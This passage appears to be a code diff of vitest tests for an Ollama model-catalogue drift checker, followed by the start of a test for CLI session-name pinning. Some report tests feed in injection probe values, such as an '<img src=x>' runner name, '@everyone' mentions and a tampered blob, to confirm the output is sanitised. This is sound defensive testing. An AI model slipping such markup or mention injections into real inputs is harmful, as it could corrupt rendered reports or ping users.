const nine = classifyModel({ id: 'qwen3.5:9b', bytes: 6_550_825_373 }, observed(7_639_229_431), '0.40.15');
|
||||
expect(nine).toEqual([expect.objectContaining({ kind: 'size', expected: 6_550_825_373, actual: 7_639_229_431 })]);
|
||||
expect(nine[0].fraction).toBeCloseTo(0.1661, 3);
|
||||
const dense = classifyModel({ id: 'qwen3.8:27b', bytes: 17_741_871_939 }, observed(18_174_721_847), '0.40.15');
|
||||
expect(dense[0].kind).toBe('size');
|
||||
expect(dense[0].fraction).toBeCloseTo(0.0244, 3);
|
||||
});
|
||||
|
||||
it('a tag that is gone is only that', () => {
|
||||
expect(classifyModel({ id: 'x:y', bytes: 1 }, { gone: true }, '0.40.15')).toEqual([{ kind: 'gone' }]);
|
||||
});
|
||||
|
||||
it('compares a pinned digest in either form', () => {
|
||||
const bare = REAL_MLX_CHILD.slice('sha256:'.length);
|
||||
expect(classifyModel({ id: 'a:b', bytes: 100, digest: bare }, observed(100), '0.40.15')).toEqual([]);
|
||||
expect(classifyModel({ id: 'a:b', bytes: 100, digest: hex('1') }, observed(100), '0.40.15')).toEqual([
|
||||
{ kind: 'digest', expected: hex('1'), actual: REAL_MLX_CHILD },
|
||||
]);
|
||||
expect(classifyModel({ id: 'a:b', bytes: 100, digest: 'garbage' }, observed(100), '0.40.15')[0]).toMatchObject({
|
||||
kind: 'digest',
|
||||
expected: 'not a sha256 digest',
|
||||
});
|
||||
});
|
||||
|
||||
it('holds a row that names its runner to the runner of the build a Mac pulls', () => {
|
||||
// The same size, another runner: the row's memory figures no longer describe what runs.
|
||||
expect(classifyModel({ id: 'a:b', bytes: 100, runner: 'llamacpp' }, observed(100), '0.40.15')).toEqual([
|
||||
{ kind: 'runner', expected: 'llamacpp', actual: 'mlx' },
|
||||
]);
|
||||
expect(classifyModel({ id: 'a:b', bytes: 100, runner: 'mlx' }, observed(100), '0.40.15')).toEqual([]);
|
||||
// A GGUF build is a llamacpp row's, whether its manifest says llamacpp or nothing (ggml).
|
||||
for (const runner of ['llamacpp', 'ggml']) {
|
||||
const gguf = observed(100, { runner, format: 'gguf' });
|
||||
expect(classifyModel({ id: 'a:b', bytes: 100, runner: 'llamacpp' }, gguf, '0.40.15'), runner).toEqual([]);
|
||||
expect(classifyModel({ id: 'a:b', bytes: 100, runner: 'mlx' }, gguf, '0.40.15'), runner).toEqual([
|
||||
{ kind: 'runner', expected: 'mlx', actual: 'llamacpp' },
|
||||
]);
|
||||
}
|
||||
// A runner Ollama would not run on a Mac is never taken for the row's.
|
||||
expect(classifyModel({ id: 'a:b', bytes: 100, runner: 'mlx' }, observed(100, { runner: '' }), '0.40.15')).toEqual([
|
||||
{ kind: 'runner', expected: 'mlx', actual: 'unknown' },
|
||||
]);
|
||||
// A catalogue without the field (before rows named their runner) is never held to one.
|
||||
expect(classifyModel({ id: 'a:b', bytes: 100 }, observed(100, { runner: 'llamacpp' }), '0.40.15')).toEqual([]);
|
||||
});
|
||||
|
||||
it('flags a build that needs a newer runtime than the pin, and only that', () => {
|
||||
expect(classifyModel({ id: 'a:b', bytes: 100 }, observed(100, { requires: '0.41.0' }), '0.40.15')).toEqual([
|
||||
{ kind: 'requires', requires: '0.41.0', pinned: '0.40.15' },
|
||||
]);
|
||||
expect(classifyModel({ id: 'a:b', bytes: 100 }, observed(100, { requires: '0.40.15' }), '0.40.15')).toEqual([]);
|
||||
expect(classifyModel({ id: 'a:b', bytes: 100 }, observed(100), '0.40.15')).toEqual([]);
|
||||
});
|
||||
});
|
||||
|
||||
describe('classifyRuntime', () => {
|
||||
const release = (version: string, asset?: { size: number; digest?: string }) => ({ version, publishedOn: '2026-11-03', asset });
|
||||
const matching = { size: PIN.bytes, digest: `sha256:${PIN.sha256}` };
|
||||
|
||||
it('is clean when the pin is the newest release and its archive is unchanged', () => {
|
||||
expect(classifyRuntime(PIN, { latest: release('0.40.15', matching), pinned: release('0.40.15', matching) })).toEqual([]);
|
||||
});
|
||||
|
||||
it('a size that matches and no digest in the API is not drift', () => {
|
||||
expect(
|
||||
classifyRuntime(PIN, { latest: release('0.40.15'), pinned: release('0.40.15', { size: PIN.bytes }) })
|
||||
).toEqual([]);
|
||||
});
|
||||
|
||||
it('reports a newer release', () => {
|
||||
expect(classifyRuntime(PIN, { latest: release('0.41.2'), pinned: release('0.40.15', matching) })).toEqual([
|
||||
{ kind: 'behind', pinned: '0.40.15', latest: '0.41.2' },
|
||||
]);
|
||||
});
|
||||
|
||||
it('reports a pinned release or archive that is gone or changed', () => {
|
||||
const latest = release('0.40.15');
|
||||
expect(classifyRuntime(PIN, { latest, pinned: { gone: true } })).toEqual([{ kind: 'pinned-release-gone' }]);
|
||||
expect(classifyRuntime(PIN, { latest, pinned: release('0.40.15') })).toEqual([{ kind: 'pinned-asset-gone' }]);
|
||||
expect(
|
||||
classifyRuntime(PIN, { latest, pinned: release('0.40.15', { size: PIN.bytes + 1, digest: matching.digest }) })[0].kind
|
||||
).toBe('pinned-asset-changed');
|
||||
expect(
|
||||
classifyRuntime(PIN, { latest, pinned: release('0.40.15', { size: PIN.bytes, digest: hex('2') }) })[0].kind
|
||||
).toBe('pinned-asset-changed');
|
||||
});
|
||||
});
|
||||
|
||||
// ---------- Exit code and report ----------
|
||||
|
||||
function baseResult(overrides: Record<string, unknown> = {}) {
|
||||
const mac = { bytes: 100, digest: hex('a'), runner: 'mlx', format: 'safetensors', requires: '0.32.4' };
|
||||
return {
|
||||
checkedAt: '2026-11-09 06:00 UTC',
|
||||
catalogue: { updated: '2026-11-06' },
|
||||
pin: { version: '0.40.15' },
|
||||
errors: [] as string[],
|
||||
models: [{ id: 'a:b', bytes: 100, findings: [] as unknown[], observed: { tagDigest: hex('b'), variants: [mac], mac } }],
|
||||
runtime: {
|
||||
assetName: 'ollama-darwin.tgz',
|
||||
findings: [] as unknown[],
|
||||
observed: {
|
||||
latest: { version: '0.40.15', publishedOn: '2026-11-03', asset: { size: PIN.bytes, digest: `sha256:${PIN.sha256}` } },
|
||||
pinned: { version: '0.40.15', publishedOn: '2026-11-03', asset: { size: PIN.bytes, digest: `sha256:${PIN.sha256}` } },
|
||||
},
|
||||
} as Record<string, unknown>,
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
describe('exitCodeFor', () => {
|
||||
it('is 0 when nothing drifted', () => {
|
||||
expect(exitCodeFor(baseResult())).toBe(0);
|
||||
});
|
||||
|
||||
it('is 1 for drift in a model or in the runtime', () => {
|
||||
const result = baseResult();
|
||||
result.models[0].findings = [{ kind: 'gone' }];
|
||||
expect(exitCodeFor(result)).toBe(1);
|
||||
const runtime = baseResult();
|
||||
(runtime.runtime.findings as unknown[]).push({ kind: 'behind', pinned: '0.40.15', latest: '0.41.0' });
|
||||
expect(exitCodeFor(runtime)).toBe(1);
|
||||
});
|
||||
|
||||
it('is 2 when any part failed, even with drift elsewhere', () => {
|
||||
const result = baseResult();
|
||||
result.models[0].findings = [{ kind: 'gone' }];
|
||||
result.models.push({ id: 'c:d', bytes: 1, findings: [], error: 'timed out' } as never);
|
||||
expect(exitCodeFor(result)).toBe(2);
|
||||
expect(exitCodeFor(baseResult({ runtime: { error: 'GitHub answered 403', findings: [] } }))).toBe(2);
|
||||
expect(exitCodeFor(baseResult({ errors: ['the catalogue did not load'] }))).toBe(2);
|
||||
});
|
||||
});
|
||||
|
||||
describe('renderReport', () => {
|
||||
it('says clean, and lists the digests to pin in full with the build a Mac pulls', () => {
|
||||
const report = renderReport(baseResult());
|
||||
expect(report).toMatch(/^# Local model catalogue: weekly check\n/);
|
||||
expect(report).toContain('**Clean**');
|
||||
expect(report).toContain(`| \`a:b\` | mlx, safetensors | \`${hex('b')}\` | \`${hex('a')}\` |`);
|
||||
expect(report).toContain('as the row field `digest`');
|
||||
expect(report).not.toContain('Pin first');
|
||||
expect(report).toContain('## Not checked');
|
||||
});
|
||||
|
||||
it('asks to pin a row with measured figures first', () => {
|
||||
const result = baseResult();
|
||||
(result.models[0] as Record<string, unknown>).figures = 'measured';
|
||||
expect(renderReport(result)).toContain('Pin first: `a:b`.');
|
||||
});
|
||||
|
||||
it('names a size drift with both figures and every build the tag offers', () => {
|
||||
const gguf = { bytes: 90, digest: hex('c'), runner: 'llamacpp', format: 'gguf' };
|
||||
const mac = { bytes: 7_639_229_431, digest: hex('a'), runner: 'mlx', format: 'safetensors' };
|
||||
const result = baseResult({
|
||||
models: [
|
||||
{
|
||||
id: 'qwen3.5:9b',
|
||||
bytes: 6_550_825_373,
|
||||
findings: classifyModel({ id: 'qwen3.5:9b', bytes: 6_550_825_373 }, { mac }, '0.40.15'),
|
||||
observed: { tagDigest: hex('b'), variants: [gguf, mac], mac },
|
||||
},
|
||||
],
|
||||
});
|
||||
const report = renderReport(result);
|
||||
expect(report).toContain('**Drift found**: 1 of 1 models.');
|
||||
expect(report).toContain('| `qwen3.5:9b` | 6,550,825,373 | 7,639,229,431 | +16.61% | mlx, safetensors |');
|
||||
expect(report).toContain('mlx, safetensors 7,639,229,431 (a Mac takes this one)');
|
||||
expect(report).toContain('llamacpp, gguf 90');
|
||||
});
|
||||
|
||||
it('names a runner change, what it means for the figures, and every build the tag offers', () => {
|
||||
const gguf = { bytes: 100, digest: hex('c'), runner: 'llamacpp', format: 'gguf' };
|
||||
const mac = { bytes: 100, digest: hex('a'), runner: 'mlx', format: 'safetensors' };
|
||||
const result = baseResult({
|
||||
models: [
|
||||
{
|
||||
id: 'qwen3.6:35b-a3b-mtp-q4_k_m',
|
||||
bytes: 100,
|
||||
findings: classifyModel({ id: 'x:y', bytes: 100, runner: 'llamacpp' }, { mac }, '0.40.15'),
|
||||
observed: { tagDigest: hex('b'), variants: [gguf, mac], mac },
|
||||
},
|
||||
],
|
||||
});
|
||||
const report = renderReport(result);
|
||||
expect(report).toContain('**Drift found**: 1 of 1 models.');
|
||||
expect(report).toContain('| runner changed |');
|
||||
expect(report).toContain(
|
||||
"`qwen3.6:35b-a3b-mtp-q4_k_m`: a Mac now pulls the mlx, safetensors build, which runs on `mlx`, while the row's `runner` says `llamacpp`."
|
||||
);
|
||||
expect(report).toContain('recompute them for the new runner');
|
||||
expect(report).toContain('mlx, safetensors 100 (a Mac takes this one)');
|
||||
});
|
||||
|
||||
it('says the check failed and prints no verdict of clean', () => {
|
||||
const result = baseResult({ runtime: { error: 'GitHub answered 403 for the newest release', findings: [] } });
|
||||
const report = renderReport(result);
|
||||
expect(report).toContain('**The check failed**');
|
||||
expect(report).not.toContain('**Clean**');
|
||||
expect(report).toContain('GitHub answered 403');
|
||||
});
|
||||
|
||||
it('never prints a runner or format outside the known names', () => {
|
||||
const mac = { bytes: 100, digest: hex('a'), runner: '<img src=x>', format: '@someone' };
|
||||
const report = renderReport(baseResult({ models: [{ id: 'a:b', bytes: 100, findings: [], observed: { tagDigest: hex('b'), variants: [mac], mac } }] }));
|
||||
expect(report).toContain('unknown, unknown');
|
||||
expect(report).not.toContain('<img');
|
||||
expect(report).not.toContain('@someone');
|
||||
});
|
||||
|
||||
it('keeps an error on one line and without backticks', () => {
|
||||
const result = baseResult({ errors: ['line one\nline `two`\u0007'] });
|
||||
expect(renderReport(result)).toContain("- Check failed: line one line 'two'\n");
|
||||
});
|
||||
|
||||
it('contains no em-dash', () => {
|
||||
expect(renderReport(baseResult())).not.toContain(String.fromCharCode(0x2014));
|
||||
});
|
||||
});
|
||||
|
||||
// ---------- IO against a fake registry ----------
|
||||
|
||||
interface Seen {
|
||||
url: string;
|
||||
headers: Record<string, string>;
|
||||
signal: unknown;
|
||||
}
|
||||
|
||||
/**
|
||||
* A fake registry and GitHub API. `routes` maps a URL to a body (string or Buffer) or a status
|
||||
* number. Every request is recorded.
|
||||
*/
|
||||
function fakeFetch(routes: Record<string, string | Buffer | number | (() => Response)>) {
|
||||
const seen: Seen[] = [];
|
||||
const fetchFn = async (url: string, init: { headers: Record<string, string>; signal: unknown }) => {
|
||||
seen.push({ url, headers: init.headers, signal: init.signal });
|
||||
const route = routes[url];
|
||||
if (route === undefined) return new Response('not found', { status: 404 });
|
||||
if (typeof route === 'number') return new Response('', { status: route });
|
||||
if (typeof route === 'function') return route();
|
||||
return new Response(route, { status: 200 });
|
||||
};
|
||||
return { fetchFn, seen };
|
||||
}
|
||||
|
||||
const REG = 'https://registry.ollama.ai/v2/library';
|
||||
const GH = 'https://api.github.com/repos/ollama/ollama/releases';
|
||||
|
||||
/** A small registry: one tag that is a list (mlx + llamacpp), one plain tag. Digests computed. */
|
||||
function buildRegistry() {
|
||||
const json = (value: unknown): Buffer => Buffer.from(JSON.stringify(value));
|
||||
const mlxConfig = json({ model_format: 'safetensors', requires: '0.32.4' });
|
||||
const ggufConfig = json({ model_format: 'gguf', requires: '0.30.0' });
|
||||
const layers = (sizes: number[], tag: string) =>
|
||||
sizes.map((size, i) => ({ mediaType: 'application/vnd.ollama.image.tensor', digest: hex(String((i + tag.length) % 10)), size }));
|
||||
const mlxChild = json({
|
||||
schemaVersion: 2,
|
||||
mediaType: MEDIA_TYPE_MANIFEST,
|
||||
config: { digest: sha256Digest(mlxConfig), size: mlxConfig.length },
|
||||
layers: layers([700, 300], 'mlx'),
|
||||
});
|
||||
const ggufChild = json({
|
||||
schemaVersion: 2,
|
||||
mediaType: MEDIA_TYPE_MANIFEST,
|
||||
config: { digest: sha256Digest(ggufConfig), size: ggufConfig.length },
|
||||
layers: layers([600], 'gguf'),
|
||||
runner: 'llamacpp',
|
||||
format: 'gguf',
|
||||
});
|
||||
const list = json({
|
||||
schemaVersion: 2,
|
||||
mediaType: MEDIA_TYPE_MANIFEST_LIST,
|
||||
manifests: [
|
||||
{ mediaType: MEDIA_TYPE_MANIFEST, digest: sha256Digest(mlxChild), runner: 'mlx', format: 'safetensors' },
|
||||
{ mediaType: MEDIA_TYPE_MANIFEST, digest: sha256Digest(ggufChild), runner: 'llamacpp', format: 'gguf' },
|
||||
],
|
||||
});
|
||||
const plain = json({
|
||||
schemaVersion: 2,
|
||||
mediaType: MEDIA_TYPE_MANIFEST,
|
||||
config: { digest: sha256Digest(ggufConfig), size: ggufConfig.length },
|
||||
layers: layers([500], 'plain'),
|
||||
});
|
||||
const release = (tag: string) =>
|
||||
json({
|
||||
tag_name: tag,
|
||||
published_at: '2026-11-03T22:52:31Z',
|
||||
assets: [{ name: 'ollama-darwin.tgz', size: PIN.bytes, digest: `sha256:${PIN.sha256}` }],
|
||||
});
|
||||
const routes: Record<string, string | Buffer | number | (() => Response)> = {
|
||||
[`${REG}/listed/manifests/1b`]: list,
|
||||
[`${REG}/listed/blobs/${sha256Digest(mlxChild)}`]: mlxChild,
|
||||
[`${REG}/listed/blobs/${sha256Digest(ggufChild)}`]: ggufChild,
|
||||
[`${REG}/listed/blobs/${sha256Digest(mlxConfig)}`]: mlxConfig,
|
||||
[`${REG}/plain/manifests/2b`]: plain,
|
||||
[`${REG}/plain/blobs/${sha256Digest(ggufConfig)}`]: ggufConfig,
|
||||
[`${GH}/latest`]: release('v0.40.15'),
|
||||
[`${GH}/tags/v0.40.15`]: release('v0.40.15'),
|
||||
};
|
||||
const layerDigests = new Set(
|
||||
[mlxChild, ggufChild, plain].flatMap((body) => JSON.parse(body.toString()).layers.map((l: { digest: string }) => l.digest))
|
||||
);
|
||||
return {
|
||||
routes,
|
||||
layerDigests,
|
||||
sizes: { mlx: 1000 + mlxConfig.length, gguf: 600 + ggufConfig.length, plain: 500 + ggufConfig.length },
|
||||
digests: { list: sha256Digest(list), mlxChild: sha256Digest(mlxChild), plain: sha256Digest(plain) },
|
||||
};
|
||||
}
|
||||
|
||||
const catalogOf = (models: { id: string; bytes: number; digest?: string; figures?: string; runner?: string }[]) => ({
|
||||
updated: '2026-11-06',
|
||||
models,
|
||||
});
|
||||
const NOW = new Date('2026-11-09T06:00:00Z');
|
||||
|
||||
describe('inspectModel', () => {
|
||||
it('reads a list the way a Mac does: the mlx child, its total, its requires', async () => {
|
||||
const registry = buildRegistry();
|
||||
const { fetchFn, seen } = fakeFetch(registry.routes);
|
||||
const observed = await inspectModel(fetchFn, 'listed:1b');
|
||||
expect(observed.tagDigest).toBe(registry.digests.list);
|
||||
expect(observed.mac).toMatchObject({
|
||||
runner: 'mlx',
|
||||
format: 'safetensors',
|
||||
digest: registry.digests.mlxChild,
|
||||
bytes: registry.sizes.mlx,
|
||||
requires: '0.32.4',
|
||||
});
|
||||
expect(observed.variants.map((variant: { runner: string }) => variant.runner)).toEqual(['mlx', 'llamacpp']);
|
||||
expect(seen[0].headers.Accept).toBe(MANIFEST_ACCEPT);
|
||||
expect(seen[0].headers.Accept).toContain(MEDIA_TYPE_MANIFEST_LIST);
|
||||
expect(seen.every((request) => request.signal instanceof AbortSignal)).toBe(true);
|
||||
});
|
||||
|
||||
it('fills a plain manifest without runner metadata from its config', async () => {
|
||||
const registry = buildRegistry();
|
||||
const { fetchFn } = fakeFetch(registry.routes);
|
||||
const observed = await inspectModel(fetchFn, 'plain:2b');
|
||||
expect(observed.mac).toMatchObject({ runner: 'ggml', format: 'gguf', digest: registry.digests.plain, bytes: registry.sizes.plain });
|
||||
expect(observed.tagDigest).toBe(observed.mac.digest);
|
||||
});
|
||||
|
||||
it('a 404 for the manifest is a tag that is gone', async () => {
|
||||
const { fetchFn } = fakeFetch({});
|
||||
expect(await inspectModel(fetchFn, 'missing:tag')).toEqual({ gone: true });
|
||||
});
|
||||
|
||||
it('refuses a blob whose body does not match its digest', async () => {
|
||||
const registry = buildRegistry();
|
||||
const mlxUrl = `${REG}/listed/blobs/${registry.digests.mlxChild}`;
|
||||
const { fetchFn } = fakeFetch({ ...registry.routes, [mlxUrl]: '{"tampered":true}' });
|
||||
await expect(inspectModel(fetchFn, 'listed:1b')).rejects.toThrow(/does not match its digest/);
|
||||
});
|
||||
|
||||
it('refuses a list with no build a Mac runs', async () => {
|
||||
const list = JSON.stringify({ mediaType: MEDIA_TYPE_MANIFEST_LIST, manifests: [{ digest: hex('1'), runner: 'vllm' }] });
|
||||
const { fetchFn } = fakeFetch({ [`${REG}/odd/manifests/x`]: list });
|
||||
await expect(inspectModel(fetchFn, 'odd:x')).rejects.toThrow(/no build a Mac runs/);
|
||||
});
|
||||
|
||||
it('a server error is a failed check, not a tag that is gone', async () => {
|
||||
const { fetchFn } = fakeFetch({ [`${REG}/flaky/manifests/x`]: 503 });
|
||||
await expect(inspectModel(fetchFn, 'flaky:x')).rejects.toThrow(/answered 503/);
|
||||
});
|
||||
});
|
||||
|
||||
describe('boundedGet', () => {
|
||||
it('refuses a declared body over the cap before reading it', async () => {
|
||||
const { fetchFn } = fakeFetch({
|
||||
'https://x.test/big': () => new Response('{}', { status: 200, headers: { 'content-length': String(MAX_MANIFEST_BYTES + 1) } }),
|
||||
});
|
||||
await expect(boundedGet(fetchFn, 'https://x.test/big', { maxBytes: MAX_MANIFEST_BYTES })).rejects.toThrow(/over the cap/);
|
||||
});
|
||||
|
||||
it('refuses a streamed body that grows past the cap', async () => {
|
||||
const stream = new ReadableStream({
|
||||
start(controller) {
|
||||
controller.enqueue(new Uint8Array(600));
|
||||
controller.enqueue(new Uint8Array(600));
|
||||
controller.close();
|
||||
},
|
||||
});
|
||||
const { fetchFn } = fakeFetch({ 'https://x.test/stream': () => new Response(stream, { status: 200 }) });
|
||||
await expect(boundedGet(fetchFn, 'https://x.test/stream', { maxBytes: 1000 })).rejects.toThrow(/over the cap/);
|
||||
});
|
||||
|
||||
it('turns a network error into a CheckFailure', async () => {
|
||||
const fetchFn = async () => {
|
||||
throw new TypeError('fetch failed', { cause: new Error('getaddrinfo ENOTFOUND registry.ollama.ai') });
|
||||
};
|
||||
await expect(boundedGet(fetchFn, 'https://registry.ollama.ai/v2/', { maxBytes: 10 })).rejects.toThrow(/ENOTFOUND/);
|
||||
});
|
||||
});
|
||||
|
||||
describe('runCheck', () => {
|
||||
it('reports drift, and fetches only manifests, child manifests, configs and the two releases', async () => {
|
||||
const registry = buildRegistry();
|
||||
const { fetchFn, seen } = fakeFetch(registry.routes);
|
||||
const result = await runCheck({
|
||||
catalog: catalogOf([
|
||||
// Sized from the llamacpp child: a Mac pulls the mlx one, so this is drift.
|
||||
{ id: 'listed:1b', bytes: registry.sizes.gguf },
|
||||
{ id: 'plain:2b', bytes: registry.sizes.plain },
|
||||
{ id: 'missing:tag', bytes: 1000 },
|
||||
]),
|
||||
pin: PIN,
|
||||
fetchFn,
|
||||
now: NOW,
|
||||
githubToken: 'token-value',
|
||||
});
|
||||
|
||||
expect(result.models.map((model: { findings: { kind: string }[] }) => model.findings.map((f) => f.kind))).toEqual([
|
||||
['size'],
|
||||
[],
|
||||
['gone'],
|
||||
]);
|
||||
expect(result.runtime.findings).toEqual([]);
|
||||
expect(exitCodeFor(result)).toBe(1);
|
||||
|
||||
for (const request of seen) {
|
||||
const blob = /\/blobs\/(sha256:[0-9a-f]{64})$/.exec(request.url);
|
||||
if (blob) expect(registry.layerDigests.has(blob[1])).toBe(false);
|
||||
const isGitHub = request.url.startsWith('https://api.github.com/');
|
||||
expect(request.headers.Authorization === 'Bearer token-value').toBe(isGitHub);
|
||||
}
|
||||
expect(seen.some((request) => request.url === `${GH}/latest`)).toBe(true);
|
||||
expect(seen.some((request) => request.url === `${GH}/tags/v0.40.15`)).toBe(true);
|
||||
|
||||
const report = renderReport(result);
|
||||
expect(report).toContain('**Drift found**: 2 of 3 models.');
|
||||
expect(report).toContain('`missing:tag`: the registry no longer has this tag');
|
||||
});
|
||||
|
||||
it('holds rows that name their runner to the build a Mac pulls, a plain GGUF manifest included', async () => {
|
||||
const registry = buildRegistry();
|
||||
const { fetchFn } = fakeFetch(registry.routes);
|
||||
const result = await runCheck({
|
||||
catalog: catalogOf([
|
||||
// The right size, the wrong runner: a Mac pulls the mlx child of this list.
|
||||
{ id: 'listed:1b', bytes: registry.sizes.mlx, runner: 'llamacpp' },
|
||||
// A manifest that names no runner is a GGUF build: a llamacpp row, clean.
|
||||
{ id: 'plain:2b', bytes: registry.sizes.plain, runner: 'llamacpp' },
|
||||
]),
|
||||
pin: PIN,
|
||||
fetchFn,
|
||||
now: NOW,
|
||||
});
|
||||
expect(result.models.map((model: { findings: unknown[] }) => model.findings)).toEqual([
|
||||
[{ kind: 'runner', expected: 'llamacpp', actual: 'mlx' }],
|
||||
[],
|
||||
]);
|
||||
expect(exitCodeFor(result)).toBe(1);
|
||||
expect(renderReport(result)).toContain('| runner changed |');
|
||||
});
|
||||
|
||||
it('sends no Authorization header at all without a token', async () => {
|
||||
const registry = buildRegistry();
|
||||
const { fetchFn, seen } = fakeFetch(registry.routes);
|
||||
await runCheck({ catalog: catalogOf([{ id: 'plain:2b', bytes: registry.sizes.plain }]), pin: PIN, fetchFn, now: NOW });
|
||||
expect(seen.some((request) => 'Authorization' in request.headers)).toBe(false);
|
||||
});
|
||||
|
||||
it('is clean when every row matches what a Mac pulls', async () => {
|
||||
const registry = buildRegistry();
|
||||
const { fetchFn } = fakeFetch(registry.routes);
|
||||
const result = await runCheck({
|
||||
catalog: catalogOf([
|
||||
{ id: 'listed:1b', bytes: registry.sizes.mlx, digest: registry.digests.mlxChild, figures: 'measured' },
|
||||
{ id: 'plain:2b', bytes: registry.sizes.plain, figures: 'measured' },
|
||||
]),
|
||||
pin: PIN,
|
||||
fetchFn,
|
||||
now: NOW,
|
||||
});
|
||||
expect(exitCodeFor(result)).toBe(0);
|
||||
const report = renderReport(result);
|
||||
expect(report).toContain('**Clean**');
|
||||
// The pinned row is not offered for pinning again; the unpinned one is.
|
||||
expect(report).not.toContain('| `listed:1b` | mlx');
|
||||
expect(report).toContain(`| \`plain:2b\` | ggml, gguf | \`${registry.digests.plain}\``);
|
||||
// Only the measured row that has no digest yet is asked for first.
|
||||
expect(report).toContain('Pin first: `plain:2b`.');
|
||||
});
|
||||
|
||||
it('a newer runtime release is drift', async () => {
|
||||
const registry = buildRegistry();
|
||||
registry.routes[`${GH}/latest`] = JSON.stringify({ tag_name: 'v0.41.0', published_at: '2026-11-10T00:00:00Z', assets: [] });
|
||||
const { fetchFn } = fakeFetch(registry.routes);
|
||||
const result = await runCheck({ catalog: catalogOf([{ id: 'plain:2b', bytes: registry.sizes.plain }]), pin: PIN, fetchFn, now: NOW });
|
||||
expect(result.runtime.findings).toEqual([{ kind: 'behind', pinned: '0.40.15', latest: '0.41.0' }]);
|
||||
expect(exitCodeFor(result)).toBe(1);
|
||||
expect(renderReport(result)).toContain('Ollama 0.41.0 is out; the pin is 0.40.15.');
|
||||
});
|
||||
|
||||
it('a rate-limited GitHub API fails the check (2) and keeps what the models showed', async () => {
|
||||
const registry = buildRegistry();
|
||||
registry.routes[`${GH}/latest`] = 403;
|
||||
const { fetchFn } = fakeFetch(registry.routes);
|
||||
const result = await runCheck({
|
||||
catalog: catalogOf([{ id: 'listed:1b', bytes: registry.sizes.gguf }]),
|
||||
pin: PIN,
|
||||
fetchFn,
|
||||
now: NOW,
|
||||
});
|
||||
expect(exitCodeFor(result)).toBe(2);
|
||||
expect(result.models[0].findings[0].kind).toBe('size');
|
||||
expect(renderReport(result)).toContain('**The check failed**');
|
||||
});
|
||||
|
||||
it('a release tag that is not vX.Y.Z fails the check instead of reaching the report', async () => {
|
||||
const registry = buildRegistry();
|
||||
registry.routes[`${GH}/latest`] = JSON.stringify({ tag_name: 'v1.0.0 @everyone', assets: [] });
|
||||
const { fetchFn } = fakeFetch(registry.routes);
|
||||
const result = await runCheck({ catalog: catalogOf([]), pin: PIN, fetchFn, now: NOW });
|
||||
expect(exitCodeFor(result)).toBe(2);
|
||||
expect(renderReport(result)).not.toContain('@everyone');
|
||||
});
|
||||
|
||||
it('a network failure for one row fails the whole check', async () => {
|
||||
const registry = buildRegistry();
|
||||
const fetchFn = async (url: string, init: { headers: Record<string, string>; signal: unknown }) => {
|
||||
if (url.includes('/plain/')) throw new TypeError('fetch failed');
|
||||
return fakeFetch(registry.routes).fetchFn(url, init);
|
||||
};
|
||||
const result = await runCheck({
|
||||
catalog: catalogOf([
|
||||
{ id: 'listed:1b', bytes: registry.sizes.mlx },
|
||||
{ id: 'plain:2b', bytes: registry.sizes.plain },
|
||||
]),
|
||||
pin: PIN,
|
||||
fetchFn,
|
||||
now: NOW,
|
||||
});
|
||||
expect(result.models[1].error).toMatch(/fetch failed/);
|
||||
expect(exitCodeFor(result)).toBe(2);
|
||||
});
|
||||
});
|
||||
@@ -1,45 +1,110 @@
|
||||
/**
|
||||
* @fileoverview Claude's `/resume` title belongs to Claude unless the user chose one.
|
||||
* @fileoverview The CLI's session name and the opt-in `pinCliSessionName` setting.
|
||||
*
|
||||
* `--name` sets the prompt-box label, the `/resume` picker entry and the terminal
|
||||
* title, and a pinned title stops Claude generating its own. Pinning the
|
||||
* `w1-myapp` placeholder therefore listed every conversation of a case under the
|
||||
* same name in `/resume`. Only a manual name is pinned now (`cliPinnedName`), and
|
||||
* a rename reaches the transcript as a `custom-title` row.
|
||||
* title, and a pinned title stops Claude generating its own. By default only a name
|
||||
* the user chose is pinned (`cliPinnedName`); with `pinCliSessionName` on, every tab's
|
||||
* name is pinned, placeholder and auto names included, so Claude's own session list
|
||||
* matches the tab. The setting is re-read at each spawn and respawn. A rename reaches
|
||||
* the transcript as a `custom-title` row.
|
||||
*/
|
||||
|
||||
import { mkdtempSync, readFileSync, rmSync, writeFileSync, existsSync } from 'node:fs';
|
||||
import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync, existsSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { join } from 'node:path';
|
||||
import { dirname, join } from 'node:path';
|
||||
import { afterEach, describe, expect, it } from 'vitest';
|
||||
import { Session } from '../src/session.js';
|
||||
import { appendClaudeCustomTitle } from '../src/claude-session-title.js';
|
||||
import { SETTINGS_PATH } from '../src/web/route-helpers.js';
|
||||
|
||||
type RespawnOptionsProbe = { _buildRespawnPaneOptions(): { name?: string; cliName?: string } };
|
||||
type RespawnOptionsProbe = {
|
||||
_buildRespawnPaneOptions(): { name?: string; cliName?: string };
|
||||
_buildRespawnPaneOptionsWithResumePin(): Promise<{ name?: string; cliName?: string }>;
|
||||
};
|
||||
|
||||
const probe = (session: Session) => session as unknown as RespawnOptionsProbe;
|
||||
|
||||
/** The respawn builder is the path every respawn takes; it re-reads the setting first. */
|
||||
const cliNameAtRespawn = async (session: Session) =>
|
||||
(await probe(session)._buildRespawnPaneOptionsWithResumePin()).cliName;
|
||||
|
||||
function writeSettings(settings: Record<string, unknown> | null) {
|
||||
if (settings === null) {
|
||||
rmSync(SETTINGS_PATH, { force: true });
|
||||
return;
|
||||
}
|
||||
mkdirSync(dirname(SETTINGS_PATH), { recursive: true });
|
||||
writeFileSync(SETTINGS_PATH, JSON.stringify(settings));
|
||||
}
|
||||
|
||||
describe('Session.cliPinnedName', () => {
|
||||
it('pins nothing for a placeholder, so Claude titles the conversation itself', () => {
|
||||
const session = new Session({ workingDir: '/tmp', name: 'w1-demo' });
|
||||
expect(session.cliPinnedName).toBeUndefined();
|
||||
const options = (session as unknown as RespawnOptionsProbe)._buildRespawnPaneOptions();
|
||||
// The tab keeps its name; only the CLI flag is withheld.
|
||||
expect(options.name).toBe('w1-demo');
|
||||
expect(options.cliName).toBeUndefined();
|
||||
afterEach(() => writeSettings(null));
|
||||
|
||||
describe('pinCliSessionName off (default)', () => {
|
||||
it.each([null, {}, { pinCliSessionName: false }])(
|
||||
'leaves a placeholder name unpinned (settings: %j)',
|
||||
async (settings) => {
|
||||
writeSettings(settings);
|
||||
const session = new Session({ workingDir: '/tmp', name: 'w1-demo' });
|
||||
expect(await cliNameAtRespawn(session)).toBeUndefined();
|
||||
expect(session.cliPinnedName).toBeUndefined();
|
||||
